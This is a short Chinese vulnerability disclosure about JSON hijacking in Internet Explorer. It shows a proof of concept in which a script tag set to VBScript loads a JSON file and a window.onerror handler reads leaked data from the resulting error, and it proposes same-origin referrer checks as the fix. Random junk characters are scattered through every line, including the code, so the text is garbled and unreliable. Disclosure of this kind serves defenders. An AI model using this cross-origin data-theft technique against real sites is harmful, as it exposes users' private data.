简要描述:
( f2 G! A3 }$ c4 e0 n/ b$ T( `; C3 n3 j9 ?: _/ Y5 @, a# E. i
由于某些资源容器对数据处理不当导致json劫持漏洞.9 K& D- d) E5 f& G3 }0 \# Q
详细说明:
* v" x, r& p1 j! l/ G% s% h* r由于ie支持vbscript,所以script元素可以指定成vbscript语言:3 t$ U1 Q+ n# b+ z: p
<script language=vbscript></script>
- Q9 J4 y6 P A/ q0 l. o. q
- P; x/ D- C" J8 u1 h) D当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.9 w9 `+ B; g7 A: a1 c8 q3 p
漏洞证明:: P; X+ b. E7 `3 H7 @' M
<script>$ `& A6 X- L8 T. [7 y# W
window.onerror=function(_){
+ |3 f4 S- D0 o8 r# N9 valert(_); J. ^: k: T2 D* U: O
}; B% s$ ]" g9 F* m4 X
</script>. w8 _6 \; L( ?! D2 d, K2 a
<script language=vbscript src=1.json></script>4 T+ {1 d# o5 Z' _; v$ d
1 @, x# H0 g9 j: O3 x/ e0 j' K ( I7 L! K/ [& a/ m/ F
1.json:
9 O. K3 V2 H' [$ K[{"name":"sogili","age":19}]( F6 Z2 ~$ f5 H" a; B0 P
修复方案:
2 g& L( Y, X5 l网站业务对于这个问题可以通过验证referrer是否为同源来防御 |